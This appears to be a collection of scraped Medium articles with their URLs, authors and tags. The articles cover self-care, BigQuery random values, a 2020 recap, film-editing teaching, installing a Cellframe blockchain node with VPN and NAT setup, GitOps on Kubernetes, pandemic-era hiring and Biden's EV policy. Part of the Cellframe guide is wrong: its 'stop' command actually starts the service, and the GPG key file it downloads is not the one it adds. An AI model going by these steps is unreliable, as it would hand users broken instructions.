When you’re feeling overwhelmed, take a step back. Look at everything on your plate and identify your top priorities. Choose the top 3–5 things that you absolutely can’t drop. For most, this will be things like children, jobs, etc. These should be the things that, if you didn’t take care of them, you would be risking lives, relationships, or basic life needs such as food, shelter, clothing, etc.
You might find that those only take up 2–3 slots on your priority list. If you still have room, and the bandwidth to add more, whatever you add should be things that matter to you. It might be working out, reading, or something else, but it should be important to you.
The biggest key here? Whatever you choose as a top priority should be something that you couldn’t possibly delegate to someone else.
What do you do with the rest? All those things that don’t make your priority list? You have a couple of choices. You can delegate them to others. If it’s something someone else gave you to do, you can reach out and give it back with a polite explanation that you just can’t take it on right now. Or you can just backburner it until you’re in a position to deal with it — whether that takes hours, days, weeks, or months.
And don’t be afraid to let anything that doesn’t make your priority list sit for a few days before you decide what to do with it. Give yourself room to let the stress ease before you worry about anything that isn’t a priority — even if it’s just to decide what to do with it.
Step #2: Focus on your basic needs
There are a few basic needs we have in life. We need:
· Food
· Water
· Shelter
· Clothing
· Transportation of some sort
· A job (for the money to pay for all that)
· Sleep
You may have other things you consider to be a basic need, like daily exercise or attending church. If so, add them to your list.
When you’re feeling overwhelmed, focus on making sure these basic needs are being met every day. When things feel like they’re getting worse, assess the list of basic needs. Are you drinking enough water? Getting enough sleep? When did you last eat and what was it? Figure out if one of the basic needs isn’t being met — then take steps to change that immediately.
It’s also going to help you out a lot if you don’t wait until you’re overwhelmed to assess the basic needs list. Evaluate it regularly to make sure you’re not neglecting anything and that, if something does seem a bit precarious, you can get ahead of it and start seeking out other ways to meet that need before it becomes a dire situation.
Photo by Markus Spiske on Unsplash
Step #3: Choose imperfect action over inaction
There’s a lot of hype over doing your best. Give everything your best. Don’t turn in anything at work or school that’s less than your best. Give it your all. Give it 100%.
And you know what? That’s a lot of crap.
Here’s the real truth: If you give everything 100% every time, if you’re giving everything your all all the time, you’re going to burn out and be totally exhausted all the time. It’s just not possible.
Now I’m not saying you should totally slack off and half-ass everything in your life. I’m not saying you should never try your best.
What I am saying, though, is don’t be a perfectionist. Don’t put things off until you can find the time to do them perfectly, to give them more of your time or attention. If your only choices are to do nothing or to do something that isn’t perfect, choose the imperfect action.
If there’s something you can do, even if it it’s less than ideal or doesn’t complete something, do it. As long as it moves you forward, do it.
Step #4: Create more stability
When you’re feeling overwhelmed, it comes from trying to do too much. But this also lends itself to a feeling of instability. When you have too much to do, you don’t know where to start, so it can feel as if you’re teetering, always about to fall over, because you don’t know where to go.
So creating more stability can be an important step in self-care. This stability can take many forms.
You might recognize that you haven’t been eating as healthy as you’d like, so creating stability might mean spending a little extra money on precut veggies or premade salads so you can just grab healthy food and go without expending any effort.
Or you might realize you haven’t been sleeping as much as you need to, so you might create more stability by enforcing a bedtime for yourself.
Realizing you’re not working out and that’s making you feel more stressed can mean creating stability by putting going to the gym on your calendar and treating it like any other appointment.
Try not to look at it as putting out little fires as you create stability either. Try to take a more holistic approach. For example, buying premade salads might be a quick fix to not eating as healthy as you’d like, but what else is contributing to that problem? Are you working too hard? Too tired to plan and prepare healthy meals because you’re not sleeping? Try to trace the problem you see back to it’s root and create stability there rather than just creating it at the surface-level problem.
Step #5: Give yourself a chance to truly rest
Photo by Nathan Dumlao on Unsplash
We spend a lot of time going and going and going. We’re taking care of kids, working full-time jobs, maintaining relationships and homes and a thousand other things. Trying to stay on top of all of that is exhausting and time-consuming. So when’s the last time you really rested?
I don’t mean sleeping at night or taking a day off work. I mean, really, truly rested. When is the last time you took a day where you didn’t do anything other than just rest and relax and do the most basic things you needed to do to keep yourself and your kids alive and your home standing?
When you’re feeling overwhelmed, giving yourself a chance to do just that is crucial. It allows your body, mind and soul to truly breathe. It lets the stress melt away and your energy to get replenished.
So take a day now and then to truly rest. Get some food that’s premade so you don’t have to do more than heat and plate it for you and the kids. Let the laundry sit. Let the dishes pile up (pro tip: use disposable dishes as much as possible on this day so you don’t add to your stress). Let the household chores and weekly errands go undone. Just sit and rest.
Watch TV. Read some books. Play games with the kids. Nap. Don’t plan anything. Just relax and let whatever happens spontaneously, happen.
Don’t worry about what you’ll need to do tomorrow. Don’t pressure yourself to do things to keep from falling behind or because you think you should. Just take the day to rest and relax. You’ll be far more productive after you’ve done so.
Self-care isn’t about pampering
The mistaken idea that self-care is about pampering yourself with massages, blowouts, and manicures is what often holds people back from engaging in it. But self-care isn’t about pampering yourself — not entirely.
Self-care is exactly what its name implies: taking care of the self. Self-care is about taking care of yourself in all the ways that matter — physically, mentally, emotionally, spiritually, and socially (your relationships with others).
Self-care is eating regularly, drinking enough water, and getting enough sleep. Self-care is ensuring your finances are in order and you have a roof over your head. Self-care is knowing when you need a break from work, parenting, or life in general — even if that break is just five minutes spent alone in a bathroom so you can take a breath and avoid saying something you’ll regret to someone you don’t want to hurt.
Most importantly, self-care is self-motivated. You can’t expect anyone else to encourage or force you to do it. You need to be willing to step up and take responsibility for it yourself. You need to be willing to put yourself first sometimes even if it feels selfish. Because that selfishness is what will allow you to continue to be there for those who count on you — no matter how overwhelmed and stressed you may be.
|
https://wendymillermeditation.medium.com/5-steps-to-basic-self-care-when-life-overwhelms-you-ee8a8954b590
|
['Wendy Miller']
|
2020-06-24 13:46:01.236000+00:00
|
['Stress', 'Self Care', 'Relaxation', 'Self', 'Stress Management']
|
BigTips: Random Numbers and Random Dates
|
When working with and implementing BigQuery, there’s a number of small problems to which I couldn’t find documentation to, or a working example of a solution. This occasionally happens with any database. While these won’t probably be groundbreaking problems to solve, hopefully it’ll make someone’s day a little easier. Sometimes, it’s the little things.
BigTips: Generating random numbers in a range, and random dates.
This one will be pretty quick, and I’m filing under, “Why Isn’t This Simple Thing a Thing?”
Random Numbers In A Range
This whole thing really started when I needed to generate some test data, and noticed that BigQuery’s RAND() function doesn’t have upper and lower bounds. It’s not a complex thing, but one of those minor things that’s just easier to copy and paste from somewhere, so here it is so you can just copy and paste it.
Random Dates in a Range
This then led to my next minor headache when trying to generate test dates for something. Pretty simple thing, again. If you want to reuse the random number in a range generator, it’s super simple and you can just call that after converting everything to POSIX time.
In that example, we cast the result of the rand_date() function to a DATE type for illustrative purposes. The function will return a TIMESTAMP that’s random, but then the count for each distinct value is usually 1 or 2, which isn’t too interesting to look at.
If you don’t need random numbers and only need random dates, and don’t feel like spending time to redo the function, here you go.
There you have it, a quick tip that hopefully helps make someone’s BigQuery day a little bit easier! Also be sure to check out more BigQuery stuff in the Google Cloud Medium Channel! Happy Querying!
|
https://medium.com/google-cloud/bigtips-random-numbers-and-random-dates-84da7c309c3d
|
['Brian Suk']
|
2020-12-10 15:44:17.185000+00:00
|
['Google Cloud Platform', 'Analytics', 'Big Data', 'Bigquery', 'Data']
|
Five Awesome Things I Experienced in 2020
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Yes, folks, I am back! I’ve been away from blogging for some time, and item #4 on this list will explain why. As we wind down an undoubtedly difficult year, I thought it would be good to share one final post to focus on some positivity I personally experienced in 2020.
Of course, I do not want to diminish how difficult this year was for many people, including myself. I personally had a very difficult time adjusting to the whole “work from home” thing, and my grandmother also passed away just a few short weeks ago. So I’m not going to be the person who says that 2020 was a great year. Simply put, it wasn’t.
But still, I’ve found a lot of value in focusing on the positive. It wasn’t a great year, but for me personally, it definitely wasn’t my worst year. By focusing on these areas of optimism and gratitude, we cultivate a mindset that helps carry this positive energy into all aspects of our lives. I don’t know what 2021 is going to bring, but I definitely want to bring positive energy into the new year!
With that, let’s jump into my list!
5. Mentoring the next generation of awesome potential!
While we couldn’t do a whole lot this year, the one thing we did have is the now infamous Zoom. Thanks to the powers of technology, I was able to stay in contact with a number of different folks to help them grow in their personal development journey. It’s been very cool to see how these folks have evolved this year, and it makes me excited to see what the next generation of folks in these STEM fields will do! Some of the folks I mentored included…
A group of high school sophomores working through an AP-like computer science program
A traditional college student trying two decide how they might consider their next steps in their higher education journey
A multi-month mentorship with a Lambda School student (who is going to rock the socks off the data science world!)
A couple other lighter interactions with several other Lambda School students
4. Playing some amazing video games!
Yup folks, this is why I’ve been missing! I do all my blogging and extra learning in the off hours and between my regular work, spending time with my family, and now video gaming, I just haven’t had the extra time for blogging.
2020 undoubtedly rocked the entertainment industry hard, but this one piece of the industry quietly had a very strong year. Of course, we saw the appearance of new consoles in the PlayStation 5 and Xbox Series X/S, but I’m actually more so thinking the games themselves. I’m actually thinking about writing another bonus, fun post about all the games I played this year, so stay tuned for that. But yeah, the amount of quality games that came out this year was staggering. In my opinion, gaming had one of its best years ever!
3. Re-modeling my home office!
As I mentioned toward the top of this post, I had a very difficult time adjusting to the whole “work from home” thing because my home office was super drab. I wish I had a before picture because before I made all my renovations, the only things I had in here were my basic IKEA desk and office chair. Since then, I replaced the ceiling fan, added lots of wall decorations, added a sit-stand converter, added cool Hue lighting effects, and added a whole entertainment piece off to the right there for gaming and watching movies. (Off hours, of course!)
I don’t think I would have done this if I hadn’t been forced to due to the pandemic, but I’m super glad I did. I also did it all myself, so you might be surprised to learn that it really didn’t cost me all that much to do all these renovations. I’m also fortunate to have a super handy dad that helped guide me along the way, but I’d encourage you all to consider renovating your own home, too. It’s less difficult than you might think!
2. Becoming a machine learning engineer!
It’s hard to believe that I technically haven’t been a formal machine learning engineer for quite a year yet. I joined my current team the second week of January, and it’s proven to be quite the ride! It’s definitely been my busiest work year to date, but it’s also been the most fun. It’s been so cool to see the fruits of my labor come to life inside these machines, and the people I work with have been equally great. I definitely look forward to what 2021 brings in this role. This whole field is very cool!
1. Watching my little girls grow up!
If you know me, then you saw this one coming a mile away. As awesome as everything on this list was, this number one item is far and away my favorite thing about 2020. My beautiful little girls are 2 and 3 years old, and it has been so much fun to see them grow this year. We’ve shared too many laughs to count, lots of hugs, and lots of fun times despite being hampered by the effects of the pandemic. I remind myself daily that they won’t be this age forever, so I’ve been drinking in every moment as it comes. Each day with them has been an absolute delight, and I am 100% sure that when I think back to 2020 when I’m old, the times with them are going to be what I remember most.
That wraps up this post! What cool things did you experience this year? I know 2020 was a difficult year, but I hope you can also find the lovely, beautiful things that happened this year, too. Wishing you all a happy holidays!
|
https://medium.com/@dkhundley/five-awesome-things-i-experienced-in-2020-449dfddb119
|
['David Hundley']
|
2020-12-18 13:08:18.450000+00:00
|
['Positive Thinking', 'Optimism']
|
How to Test an Editing Student’s Skill Mastery
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This question, found in a Facebook film teacher’s group, is common. How can a teacher with 30 unique students per class, 4X times a day (120 students total) possibly check that each one gained knowledge in film class?
At EditMentor, we’ve been thinking about this problem for a long time.
Large class sizes lead to group projects, which are needed in film classes because filmmaking is in fact a group activity. But group projects make it difficult for teachers to assess individual skills. There is no lack of technology in the classroom or commitment from a teacher in the picture below. However, these students will inevitably specialize in skill, gaining confidence in one area of filmmaking while being intimidated by another skill that they may never attempt to learn. Editing is almost always in the intimidation category and avoided by students, yet it is the core literacy required to make all visual stories.
We built EditMentor to solve that problem. Below is an example lesson of how we teach understanding different film shots.
Benefits of EditMentor
Interactive film curriculum, designed by leading educators
Teacher dashboard to measure student scores on challenge exercises
Works on any computer with Google Chrome, including Chromebooks (but not mobile)
Shot Coverage 01
Note: The full Shot Coverage 01 lesson is made up of 11 challenges.
Shot Coverage 02 has 12 more.
View our curriculum roadmap.
Lesson Description — In this lesson, you will learn to identify the basic camera angles (also known as SHOTS) that directors and cinematographers use in production.
All of the shots filmed for a scene or movie are collectively called COVERAGE. When covering a scene, a director will film the same moment over and over again from several different camera angles. The reason directors do that is to get the best acting performance and camera work possible.
When the footage is sent to the editorial department, editors choose the best shots, takes and camera angles for each scene.
1. Shot Types — When filming a scene, directors rely on three basic shot sizes to convey different information to the audience.
WIDE SHOT (WS): establishes the location of the scene and shows where all of the characters are located within the scene.
MEDIUM SHOT (MS) generally shows the character from the waist up. MS place equal weight on a character and their surroundings.
CLOSE-UP (CU) generally focuses on on a character’s face so the audience can see expressions clearly. CU reveal the reaction of a character to an emotional event.
After defining the shots, we ask the students to answer questions about certain shots in the timeline using our interactive marker challenges.
2. Shot Composition and Framing — Next, students learn about shot composition, meaning the make up of the items in the frame beyond the shot’s size.
Students identifying POVs, insert shots, cutaways and two-shots by placing a marker on them in the timelines of completed scenes.
Student Review — Some of these questions get a little tricky, so students will always want to check their work. In EditMentor, students can press the “view all answers” button to see what answers they got right and wrong.
Teacher’s Dashboard — Now the best part. Teachers can log into their account page and view the scores of the whole class. You’ll learn if a few students didn’t understand the material, or the entire room.
Think back to that classroom we showed you earlier. How could the teacher in that class (it was me) possibly know which students understood the material? I couldn’t.
|
https://medium.com/@editmentor/how-to-test-an-editing-students-skill-mastery-7628bdb1fb69
|
[]
|
2020-12-24 19:11:14.947000+00:00
|
['Teaching', 'Editing', 'Film']
|
Cellframe Node: Launch Instructions
|
Cellframe Node on Gitlab: https://gitlab.demlabs.net/cellframe/cellframe-node
This is the direct link to this article on Gitlab: https://gitlab.demlabs.net/cellframe/cellframe-node/blob/master/README.md
Special page in our Wiki documentation (will be translated ASAP): https://wiki.cellframe.net/index.php/Node_usage
Build it from sources:
Prerequisites:
To complete the build, you must have following prerequisites preinstalled (packages are named as in Debian GNU/Linux 10 “buster,” please find the corresponding packages for your distribution kit):
libjson-c-dev
libsqlite3-dev
libmemcached-dev
libev-dev
libmagic-dev
libcurl4-openssl-dev | libcurl4-nss-dev | libcurl4-gnutls-dev (deprecated modules, will be removed soon)
libldb-dev
libtalloc-dev
libtevent-dev
Prepare the system
Run the command to install it with build tools:
sudo apt-get install build-essential cmake cpack dpkg-dev libjson-c-dev libsqlite3-dev libmemcached-dev libev-dev libmagic-dev libcurl4-gnutls-dev libldb-dev libtalloc-dev libtevent-dev
Get all the sources
Run this command to fetch sources from Gitlab and then build it:
git clone https://gitlab.demlabs.net/cellframe/cellframe-node.git
cd cellframe-node
git submodule init
git submodule update
Build the sources
Get into the directory with cellframe-node and run following commands:
mkdir build
cd build
cmake ../
make -j 8
This will compose everything in build/subdirectory.
Install the package
Prepare it for installation (Debian/Ubuntu)
To prepare the node for installation, you need to produce a package. Or –run sudo make install from the build directory, then get config template from dist/share/configs and produce proper one in any way /opt/cellframe-node/etc . Anyway, we suggest you create the package with a command cpack from the build directory.
Install from the local package
If you downloaded or built from the sources a Debian package like cellframe-node_2.11-4-buster_amd64.deb you need to install it by means of running dpkg command. Example:
dpkg -i -plow ./cellframe-node_2.11-4-buster_amd64.deb
Install from DemLabs official public repository
Create file /etc/apt/sources.list.d/demlabs.list with one line below for Debian 10:
deb https://debian.pub.demlabs.net/ buster main
Command for Ubuntu 18 (Bionic):
deb https://debian.pub.demlabs.net/ bionic main universe
Then download the public signature and install it:
wget https://debian.pub.demlabs.net/debian.pub.demlabs.net.gpg
apt-key add demlabskey.asc
Then update your apt cache and install the package:
apt-get update
apt-get install cellframe-node
During installation, it will ask the questions which are listed below.
Debian package questions
Note, that all of this can be changed afterward in configs.
Auto online. If true, the node goes online after the start and then tries to keep this state automatically.
Debug mode. If true it – would produce more log output in files. Suggested to set true true until the testing period
true until the testing period Debug stream headers. Dump stream headers in logs, set true only if you want to get more debug information about stream packages passing through. Suggested false for almost everybody
only if you want to get more debug information about stream packages passing through. Suggested for almost everybody Accept connections. Enable/disable listening to the state of the network address. Set false if you don’t want to accept network connections to your node.
if you don’t want to accept network connections to your node. Server address. Network addresses used for listening. Set 0.0.0.0 if you want to listen to all network interfaces on your computer.
if you want to listen to all network interfaces on your computer. Server port (optional, usually not required). Server port is 8079 by default, but sometimes it is better to set it to 80 or 443 to masquerade a service as a web service.
or to masquerade a service as a web service. Kelvin-testnet: Enable network Set to true if you want to connect your node with kelvin-testnet
if you want to connect your node with Kelvin-testnet: Node type (role) Select node type (or node role) from the suggested list with short descriptions. By default suggested selecting full
How to configure VPN service node
Node basic configuration
Open /opt/cellframe-node/etc/cellframe-node.conf with command sudo nano /opt/cellframe-node/etc/cellframe-node.conf and find next section:
# VPN stream channel processing module
[srv_vpn]
# Turn to true if you want to share VPN service from you node
enabled=false
# List of loca security access groups. Built in: expats,admins,services,nobody,everybody
network_address=10.11.12.0
network_mask=255.255.255.0
#pricelist=[kelvin-testnet:0.00001:KELT:3600:SEC:mywallet0,kelvin-testnet:0.00001:cETH:3600:SEC:mywallet1,private:1:WOOD:10:SEC:mywallet0]
Turn enabled parameter to true and that will enable VPN service on your node. The next lines, such as network_address and network_mask you don't need to touch. Note, that the default configuration reserves network addresses for 254 connections at one time, and if you have more — you need to change network mask to smth like 255.255.0.0 and network address to 10.11.0.0 that will provide gives you 4095 local addresses. This is important – all the addresses are local and used only inside a virtual private network (VPN). OS should be configured for this address and mask – present DNS server, switched on IP4 forwarding and configured NAT. Examples of such configurations are below: Next line pricelist if commented out it shares service for free.
Configuration of a pricelist
Pricelist line has a list of values, split with : symbol. Let’s see the example kelvin-testnet:0.00001:KELT:3600:SEC:mywallet0 :
kelvin-testnet it is the name of the network chain where the token is issued 0.00001 price per units. Important: not for one unit but for all the units, in our example – for 1 hour. KELT token ticker which is used for payments 3600 units number that means a costs price 0.00001 SEC unit type, could be SEC for seconds, DAY for days, MB for megabyte. IMPORTANT: if selected MB accounting, it would enable another billing logic — it will be based not on time, but passed amount of traffic mywallet wallet name for accommodation of payments. It should be created preliminary with cellframe-node-cli . It is used for signing conditioned transactions with receipts.
You could enter any values of prices.
DNS server installation
You need to install DNS server. It could be any other than Bind9, but for example, we will use this one
sudo apt-get install bind9
Switch on IPv4 forwarding
Open /etc/sysctl.conf with command sudo nano /etc/sysctl.conf and find line
# Uncomment the next line to enable packet forwarding for IPv4
#net.ipv4.ip_forward=1
It is at 27–28 line in config. Uncomment net.ipv4.ip_forward=1 . After you've changed it and saved changes, implement it with:
sudo sysctl -p
The operation is complete. After the reboot it will be implemented automatically
Configuring firewall with NAT
The simplest way is to install arno-iptables-firewall is by running the next command:
sudo apt-get install arno-iptables-firewall
The following questions will be asked during the installation:
External network interfaces answer with your network interface that is used for internet access. Usually, its eth0 or wifi0 but could be different, examine your network configuration first
answer with your network interface that is used for internet access. Usually, its or but could be different, examine your network configuration first Do you want to manage the firewall setup with debconf answer Yes
answer External network interfaces answer tun0 if you haven't configured any other VPN servers. If you had – find what the tunnel number is biggest and list all of them here with your tunnel name ( tun<max number plus 1> )
answer if you haven't configured any other VPN servers. If you had – find what the tunnel number is biggest and list all of them here with your tunnel name ( ) Open external TCP-ports answer 8079 or whatever the port you used to configured the Cellframe node when it was installed
answer or whatever the port you used to configured the Cellframe node when it was installed Open external UDP-ports: answer the same as in previous
answer the same as in previous Internal network interfaces answer tun0 if you haven't configured any other VPN servers. If they are – find what the tunnel number is biggest and list all of them here with your tunnel name ( tun<max number plus 1> )
answer if you haven't configured any other VPN servers. If they are – find what the tunnel number is biggest and list all of them here with your tunnel name ( ) Internal subnets here should be network_address/network_mask from VPN service configuration, 10.11.12.0/255.255.255.0 in our example
here should be network_address/network_mask from VPN service configuration, in our example Should be restarted answer No because we need some more configs
Now, let’s increase config ask level and reconfigure the package with the next command:
sudo dpkg-reconfigure -plow arno-iptables-firewall
For answers where you’ll see the right answers just press enter to skip them. Then, the next questions should appear:
Is DHCP used on external interfaces? usually answer Yes , answer No only if you have static network configuration for external connections
usually answer , answer only if you have static network configuration for external connections Should the machine be pingable from the outside world? answer Yes because we use pings for network speed measurements
answer because we use pings for network speed measurements Do you want to enable NAT? answer Yes
answer Internal networks with access to external networks: here is your list of internal networks again, 10.11.12.0/255.255.255.0 in our example
here is your list of internal networks again, in our example Should the firewall be (re)started now? now answer Yes and have everything ready for routing
How to run
Debian/Ubuntu
If the node is installed in your system, you need to check if it runs properly.
sudo service cellframe-node status
And if it is doesn’t run properly — start it. Right after the reboot it should be executed automatically.
sudo service cellframe-node start
To stop it use the next command:
sudo service cellframe-node start
It is not a rocket science, isn’t it?!
cellframe.net
wiki.cellframe.net
Instruction to launch a Cellframe node.
Telegram group where you can ask your questions directly to CTO: https://t.me/cellframe
|
https://medium.com/cellframe/how-to-launch-a-cellframe-node-ae6a9b55deeb
|
['Cellframe Platform']
|
2020-03-09 20:08:53.710000+00:00
|
['Crypto', 'Blockchain Technology', 'Blockchain Application', 'Blockchain', 'Cellframe']
|
Continuous GitOps, the way to do DevOps in Kubernetes
|
Continuous GitOps, the way to do DevOps in Kubernetes
Continuous GitOps, the new age DevOps practice to increase the delivery velocity by achieving an end to end “Git source of truth” with Zero manual changes into the Kubernetes cluster 🏄 Arun Ramakani Follow Jan 19, 2020 · 8 min read
It’s been 10 years now from the time, when we first heard of the word Continuous Delivery. It’s Humble Jez and Farley David talked about Continuous Delivery during 2010 through their book “Continuous Delivery: Reliable Software Releases Through Build, Test and Deployment Automation”. In the last decade, Continuous Delivery has changed the way we do Software Releases. Now with a new set of tools evolving around the Kubernetes ecosystem, we are taking yet another leap in the Continuous Delivery journey. These tools revolve around the concept of Continuous GitOps. This blog is an attempt to demystify the Why? What? and How? of “Continuous GitOps”.
What is Continuous GitOp?
Continuous GitOps is a concept, where we look at having an end to end description of the software into the Git and then try to make the cluster state in sync with the Git repository continuously. There are two keywords here that will make a difference.
Description Representation of Software: With Kubernetes, the relationship between the application and the underlying infrastructure is purely declarative. You ask for what do you want from the infrastructure with declarative (YAML’s). The implementation details of these YAML’s are abstracted away by the underlying Kubernetes cluster with Controllers, Schedulers, KubeDNS, KubeProxy, Operators, etc., This enables us to move away from the traditional “Infrastructure as Code” to “Infrastructure as Data”. More on this at GitHub. The key here is, every declarative tag that you need for an application (from Application Developer / Application Operator / Cluster Operator) is enriched into the YAML in the Continuous Delivery pipeline and finally push into the GitOps Repository. And should have zero tolerance towards any manual YAML changes in the cluster. Continuous Sync: The continuous sync means, continuously looking into the git repositories to reflect any state change into the Kubernetes cluster. This is a powerful idea that came from a tool called Flux. The Flux attempted to move the deployment automation from outside the Kubernetes cluster, into the cluster using Kubernetes Operators.
Continuous GitOps is an intersection of four major components working together creating the magic
Git Repository: The source code repository that is storing our application’s declarative definition as YAML’s. Kubernetes Cluster: The underlying cluster where we are deploying our applications. Sync Agent: The Kubernetes operator extension which is doing the job of continuously syncing the Git Repository and the application state into the cluster. CD Pipeline: The Continuous Deployment pipeline that orchestrates the whole flow.
The reference architecture on how these components work together to create a Continuous GitOps flow is given below.
The YAML creation and enrichment are divided into three parts between the Application Developer, Application Operator and Cluster Operator in the above reference architecture. Depending on your organization team structure, cluster multi-tenancy, and governance need, you may choose to do it in one or two steps. We will look into this more in “Managing Declarative YAML’s” section down below.
Now let’s have a look at, Why Continuous GitOps?
Why Continuous GitOps?
Continuous GitOps add value in many dimensions. Let’s look at some of the critical ones,
Application Delivery Velocity:
Continuous GitOps will increase the product delivery velocity in the following ways,
Confident rollout with the ability to compare the final full YAML and the cluster state. This can also act as a decision guide for approving the releases. Easy rollout process with automated blue-green deployment, powered by application metrics from Prometheus. Automated container image update based on policy. For example, Istio sidecar minor versions releases are backward compatible and can be updated automatically. GitOps will make Operations, developer-centric providing a low friction development experience. The application team can take over some operation work and the operation team can concentrate on the platform. GitOps repository acts as a way to bypass the full continuous deployment flow for urgent release.
End to End Automation:
In the GitOps approach, everything that concerns an Application Developer, Application Operator and Cluster Operator are embedded into the YAML through git enabling an end to end automation.
Security, Audit & Compliance:
The policy of Zero manual changes into the cluster will hugely increase the cluster security and support any compliance requirement. Since everything in the cluster is in git, we will have a full audit log of what is happening to the cluster.
Cluster Observability:
With a full audit log, we can easily get the list of changes happened in the cluster to assist any issue debugging.
Separation Of Concerns & Easy Migration:
Continuous GitOps will enable segregation of concerns between the application developer, application operator and cluster operator concerns. The dependencies from these teams are injected into git in a declarative way as dependency injection. This will ease our migration of underlying k8s cluster, governance policy or cross-cutting tools.
Read more about an end to end DevOps workflow Workflow for Kubernetes DevOps.
How can we adopt Continuous GitOps?
We will look into the following four different aspects, which will help us get this going
GitOps workflows to implement
Managing declarative YAML’s
The tools
Where to start?
GitOps workflows to implement
The following three workflows are the popular workflows to adopt when we start with GitOps
Workflow 1: Standard GitOps Flow
This is the standard GitOps Workflow where we push the application YAML description into the GitOps repository and a GitOps agent will Auto Sync the state change.
Workflow 2: Auto-Image Update
In this workflow, the GitOps agent will auto-update the new version of the container image from the container image registry based on a specified policy. For example, we can set up a policy like, if there is a minor version change in the image we can auto-update as they are backward compatible.
Workflow 3: Automated Canary Deployment
This is a powerful workflow where we can automate Canary Deployments. With this, we gradually shift traffic to the canary while measuring key performance indicators like HTTP requests success rate, requests average duration and pods health with Prometheus. Based on analysis of the KPIs a canary is promoted or aborted
Managing Declarative YAML’s
Let’s say we have an e-commerce cart application and the full application definition is a mix of the below
The Application Image. The YAML for Pod, Deployment, Services, Volume, and ConfigMap. Few sealed secrets for Database communication. Tag to use Istio service mesh as the default cross-cutting sidecar as a Cluster Governance Policies. Environment Governance policy like one replication in staging and 3 replication in production. Tag’s to add node affinity and toleration's for high availability node scheduling. Network security policy YAML based on pod labels.
To build a final application YAML, we need input from the application developer, application operator, and cluster operator. Depending on your organization team structure, cluster multi-tenancy, and governance complexities, all these activities may be performed by a single to three different teams. Let’s look at this more in detail.
Assume that you are a small organization and managing hand full pod’s, you will have small
The below flow represents how we can build an orchestrated Continuous Deployment Automation pipeline.
This way of segregating the concerns is heavily influenced by the Open Application Model, which attempts to provide a framework for cloud-native application development.
Open Application Model [OAM] describes a model where
Developers are responsible for defining application components.
are responsible for defining application components. Application operators are responsible for creating instances of those components and assigning them application configurations.
are responsible for creating instances of those components and assigning them application configurations. Infrastructure operators are responsible for declaring, installing, and maintaining the underlying services that are available on the platform.
By applying the OAM framework, the below table attempts to segregate the YAML contribution responsibilities. This is may change based on how your organization is structured and the type of Kubernetes cluster you choose.
The Tools
If you are convinced with the idea of GitOps, your next step is to identify the tools required. There are many tools that can support us to achieve a different aspect of GitOps. Let's look at some of these tools and their usage
Git: This is the base of everything that we do with GitOps to store our YAML artifacts.
Helm & Kustomize: This is a powerful combination that can help us generate declarative YAML manifest. We can package the application and its dependencies with Helm. Then Kustomize will help us to customize and patch the YAML files leaving the original YAML untouched. Read more on this at Helm Is Not Enough, You Also Need Kustomize. If you are looking for some other alternative tools to do this Read.
Argo CD: It’s a GitOps continuous delivery tool, that can act as an agent to sync the changes from the GitOps repository into the Kubernetes cluster. (Argo CD)
Flux: It’s another GitOps continuous delivery tool, that can act as an agent to sync the changes from the GitOps repository into the Kubernetes cluster. (Flux)
Flagger: This tool works well with flux to deliver canary deployments with GitOps (Flagger)
Where to Start?
If you are starting a greenfield project, it’s a bit easy to adopt GitOps from the beginning. All we have do is to choose our tools for CI/CD, declarative YAML management and GitOps Agent to get it going.
If you are looking for implementing GitOps in a brownfield application, below points may guide you
You can pick one application at a time, and use the success story to spread wider adoption. When you select the first application, choose the one that changes more frequently. This will help us to build some solid metrics for the success story. Choose an application that breaks frequently. With GitOps, these applications should break less frequently and when it breaks you should have better observability. Prefer business application over operational cross-cutting concerns like Istio, RBAC Integration, etc. These operational cross-cutting concerns are complex and not a low hanging fruit. If required introduce dummy manual approval step, till you get confidence.
Let’s walk through GitOps step by step in an upcoming article.
|
https://itnext.io/continuous-gitops-the-way-to-do-devops-in-kubernetes-896b0ea1d0fb
|
['Arun Ramakani']
|
2020-05-23 17:21:21.983000+00:00
|
['K8s', 'Gitops', 'Continuous Delivery', 'Kubernetes', 'DevOps']
|
10 companies hiring during COVID-19 pandemic
|
Aldi
This grocery store currently has about 5,000 open positions. Most are based in retail stores, but there are more openings such as human resources, public relations and IT.
7-eleven
The largest convenience store chain is looking to add 20,000 jobs to meet increased demand, with jobs ranging from in-store positions to delivery jobs. Apply at careers.7‑Eleven.com
Amazon
The largest online retailer is currently adding 100,000 workers to increase demand due to the coronavirus. The majority of these jobs are in warehouses and delivery workers. In addition, the company has also raised salaries by $2 per hour through April. You can quickly find which jobs are hiring on Amazon’s website.
CVS
Drugstores are seeing tremendous amount of customers during the coronavirus pandemic. CVS will be looking to hire 50,000 additional staffers to keep up with demand and is offering bonuses from $150 to $500 to employers who work directly with patients. The job roles include store associates, home-delivery drivers, distribution center employees, and members/customer service.
Domino’s
Walmart
The largest retail store is adding 150,000 temporary positions, which will run (as of now) through the end of May. Many of the jobs will convert to full-time positions, the company says. Walmart is looking for people to staff its stores, clubs, distribution centers, and fulfillment centers. You can apply today at walmart.careers.com.
Pizza Hut
One of the largest pizza chains is looking to hire 30,000 workers. The company has already started the hiring process to where it says new drivers can be on the road within five hours. In addition to drivers, it’s looking for cooks, shift leaders, restaurant managers, and virtual call center agents. Apply at jobs.pizzahut.com.
Dollar General
The retail company is looking to hire 50,000 temporary jobs. They will support discount chain’s operations as COVID-19 continues to spread. Dollar General has doubled its hiring rate and hopes to fill jobs by the end of April. You can apply at careers.dollargeneral.com.
Pepsi
The food and beverage company plans to hire 6,000 people on board in full-benefit positions in the coming months. It did not detail what those jobs would be so feel free to check out their website for more information. Apply at pepsicojobs.com/main.
Instacart
This fresh new company that fills grocery stores orders plans to hire 300,000 full-service shoppers over the next three months. Instacart is expanding fast due to COVID-19 and have plenty of orders to fulfill such as picking up groceries or items from local stores and delivering it to a customer’s household. Learn more at the company’s website.
What to Read Next:
|
https://medium.com/@thehustlemastery/10-companies-hiring-during-covid-19-pandemic-838e781a0905
|
['The Hustle Mastery']
|
2020-12-16 21:49:55.081000+00:00
|
['Coronavirus', 'Jobs', 'Covid 19', 'Hiring', 'Job Hunting']
|
Biden Moves EVs and Batteries to the Center of Economic Policy
|
On a coast-to-coast, New York-to-San Francisco trip in 1919, Dwight Eisenhower discovered that you could barely cross the country by car, the roads were so run down. After he became president 40 years later, he decided to fix this by building a first-rate, nationwide highway system. We still drive on the result: some 40,000 miles of highways built for the equivalent of more than $200 billion in today’s dollars.
President-elect Joe Biden’s $2 trillion transportation agenda is the most ambitious since Eisenhower, putting the electric car, the train, and renovated roads and bridges at the center of American economic and jobs policy.
